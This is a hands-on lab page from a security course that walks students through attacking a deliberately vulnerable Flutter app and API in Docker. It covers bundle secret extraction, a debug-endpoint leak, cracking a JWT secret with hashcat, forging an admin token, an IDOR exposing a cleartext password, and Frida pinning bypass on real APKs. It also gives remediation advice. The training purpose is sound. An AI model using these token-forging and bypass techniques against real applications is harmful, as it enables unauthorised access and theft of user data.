إنتقل إلى المحتوى الرئيسي

Cloud, mobile and IoT — Hands-on lab

You stand up the M11 Docker lab and reproduce the demo chain without watching the demo. This is an autonomy exercise: you search, you doubt, you document.

What you will be able to do

  • Attack a Flutter app (web or mobile) through the most common 2026 surface: client bundle + weakly configured backend API.
  • Distinguish a short path (/api/debug/env) from a long one (JWT cracking + forging + IDOR), and present both.
  • Write a five-section report with five concrete remediations.

Lab plan

  1. Start the lab
  2. Step 1 — visual reconnaissance
  3. Step 2 — static bundle analysis
  4. Step 3 — short path: /api/debug/env
  5. Step 4 — client-side bypass
  6. Step 5 — capture and decode the JWT
  7. Step 6 — crack HS256 with hashcat
  8. Step 7 — forge an admin token
  9. Step 8 — IDOR on /api/users/:id
  10. Step 9 — admin access, read the flag
  11. Report
  12. Checklist
  13. Bonus — the same chain on a real Flutter .apk
  14. Cleanup

Requirements

  • Docker Desktop 4.x running.
  • The inskillsec-docusaurus repo cloned locally.
  • A recent browser with DevTools.
  • Roughly 3 GB of RAM and 4 GB of disk free.

Start the lab

cd inskillsec-docusaurus/labs/docker/module-11-mobile-flutter
docker compose up -d

Open http://localhost:8080 (the Flutter Web app) in your browser and check the login shows up. Also verify the API health:

curl -s http://localhost:3000/api/health

Finally, open a shell on the Kali attacker:

docker compose exec attaquant bash

Step 1 — visual reconnaissance

In the browser, open DevTools' Network tab. Try any login (any email and password) and take note of the outgoing request. You must identify:

  • The exact URL of the auth endpoint.
  • The body format (JSON, fields email / password).
  • The failure status code.

Write everything into your report.

Step 2 — static bundle analysis

From the Kali workstation:

curl -s http://app/main.dart.js > /tmp/main.dart.js
grep -E "API_BASE_URL|PREMIUM_API_KEY|DEBUG_ENDPOINT|api/admin" /tmp/main.dart.js

Three strings must come out. Write their value. Focus on DEBUG_ENDPOINT: an API path the client code never openly calls, but whose existence is revealed by the constant.

Step 3 — short path: /api/debug/env

Try the path you just discovered:

curl -s http://api:3000/api/debug/env

If you get a JSON with a field named M11_FLAG, you already have the flag. Note it, but don't stop here. The point of this workshop is to also execute the long chain.

Step 4 — client-side bypass

Back in the browser. Without being logged in, open the DevTools console:

localStorage.setItem('auth_token', 'x');
window.location.hash = '#/dashboard';

Watch: the dashboard renders for a fraction of a second. It then flips to "Session expired".

Document this behavior: the client guard was fooled, but the server-side guard (GET /api/me) held. This is exactly the anti-pattern we want to illustrate.

Step 5 — capture and decode the JWT

Register a normal account from the attacker shell:

curl -s -X POST http://api:3000/api/auth/register \
-H 'Content-Type: application/json' \
-d '{"email":"eve@lab.local","password":"anyPass1!","fullName":"Eve"}' \
| jq

Retrieve the token field. Decode its three parts:

TOKEN="<your token>"
echo "$TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null; echo
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null; echo

The header must say HS256. The payload must contain your sub (your id, probably 4) and role: user. Write it in your report.

Step 6 — crack HS256 with hashcat

Write the full token to a file:

echo "$TOKEN" > /tmp/token.jwt

Run hashcat. Mode 16500 corresponds to JWT:

hashcat -m 16500 /tmp/token.jwt /usr/share/wordlists/rockyou.txt

If rockyou.txt is not decompressed on your Kali, decompress it first with gunzip /usr/share/wordlists/rockyou.txt.gz. The expected word is short, hashcat finds it in under a minute.

Alternative without hashcat, more pedagogical, with a small handmade wordlist:

for cand in password secret s3cr3t s3cr3t2025 admin123; do
H=$(echo "$TOKEN" | cut -d. -f1)
P=$(echo "$TOKEN" | cut -d. -f2)
S=$(echo "$TOKEN" | cut -d. -f3)
E=$(echo -n "$H.$P" | \
openssl dgst -sha256 -mac HMAC -macopt "key:$cand" -binary | \
base64 | tr '+/' '-_' | tr -d '=')
[ "$E" = "$S" ] && echo "SECRET = $cand" && break
done

Step 7 — forge an admin token

With the cracked secret, forge a token that claims to be admin (sub: 1) and never expires:

SECRET="s3cr3t2025"
H='{"alg":"HS256","typ":"JWT"}'
P='{"sub":1,"email":"admin@corp.local","role":"admin","iat":1700000000,"exp":9999999999}'
H_B64=$(echo -n "$H" | base64 -w0 | tr '+/' '-_' | tr -d '=')
P_B64=$(echo -n "$P" | base64 -w0 | tr '+/' '-_' | tr -d '=')
SIG=$(echo -n "$H_B64.$P_B64" | \
openssl dgst -sha256 -mac HMAC -macopt "key:$SECRET" -binary | \
base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED="$H_B64.$P_B64.$SIG"
echo "$FORGED"

Step 8 — IDOR on /api/users/:id

Without using the forged token, show that a simple user can already read the admin's data:

curl -s http://api:3000/api/users/1 -H "Authorization: Bearer $TOKEN" | jq

You must see a JSON containing the admin's email and cleartext password. Note that the token used is eve's, not the one you forged.

Step 9 — admin access, read the flag

Finally, the admin-only endpoint with your forged token:

curl -s http://api:3000/api/admin/config \
-H "Authorization: Bearer $FORGED" | jq

You must get a JSON whose flag field contains FLAG-M11-FLUTTER-MOBILE-2026. Save the whole JSON in your report, it acts as evidence.

Report

Write rapport/mobile-flutter-m11.md in the mounted volume (/home/pentester/labs/rapport/) with five sections:

  1. Executive summary — two sentences: "starting from public access to the app, I obtained the reading of an admin endpoint and the extraction of a prod flag". Mention both paths.
  2. Short attack chain — the single command /api/debug/env and why it is already critical.
  3. Long attack chain — the nine steps above, each with a command and output.
  4. Weaknesses identified — five points: bundle secrets, weak HS256 JWT, IDOR, debug endpoint in prod, cleartext server-side password storage.
  5. Remediation — for each weakness, the expected action:
    • Secrets — never in the client. A real backend for premium calls, a server-side key, per-user quotas.
    • JWT — switch to RS256 with a key pair, keep the private key server-side. Or HS256 with a 32-byte random secret stored in a vault (AWS KMS, Doppler, Vault).
    • IDOR — every /:id endpoint must check resource.owner === req.user.sub or an explicit ACL.
    • Debug — simply remove it. No "debug" endpoint should go to prod. If necessary, gate it behind an internal-IP middleware.
    • Passwords — bcrypt (cost 12+) or argon2id. No cleartext storage ever.

Checklist

  • docker compose up -d started with no errors, api is healthy.
  • You found API_BASE_URL, PREMIUM_API_KEY and DEBUG_ENDPOINT in main.dart.js.
  • curl /api/debug/env returned the flag directly.
  • You demonstrated the client-side bypass in DevTools (dashboard renders briefly).
  • You obtained a JWT via /api/auth/register and decoded the header and payload.
  • Hashcat (or your openssl loop) found s3cr3t2025.
  • You forged a role=admin JWT.
  • /api/users/1 disclosed the cleartext admin password.
  • /api/admin/config with the forged JWT returned the flag.
  • Your report contains the five expected sections.

Bonus — the same chain on a real Flutter .apk

If you want to go all the way to real mobile, here is the circuit outside the Docker lab:

  1. flutter build apk --release produces an app-release.apk around 15-25 MB. The compiled Dart code lives in lib/arm64-v8a/libapp.so.
  2. Open the APK with apktool d app-release.apk, then strings lib/arm64-v8a/libapp.so | grep -iE "api_key|secret|https". You find the same constants as here — that is exactly the same exit point as main.dart.js.
  3. For a structured dump: reFlutter build app-release.apk then dump with blutter or frida-dexdump to go further.
  4. For certificate pinning bypass: frida -U -f com.your.app with a script that hooks boringssl::ssl_verify_peer_cert. Public scripts work as-is on most recent Flutter apps.

Deliver the whole thing as a separate report if you choose this bonus.

Cleanup

cd inskillsec-docusaurus/labs/docker/module-11-mobile-flutter
docker compose down -v

The -v flag removes the volumes; next time you'll start from a fresh lab.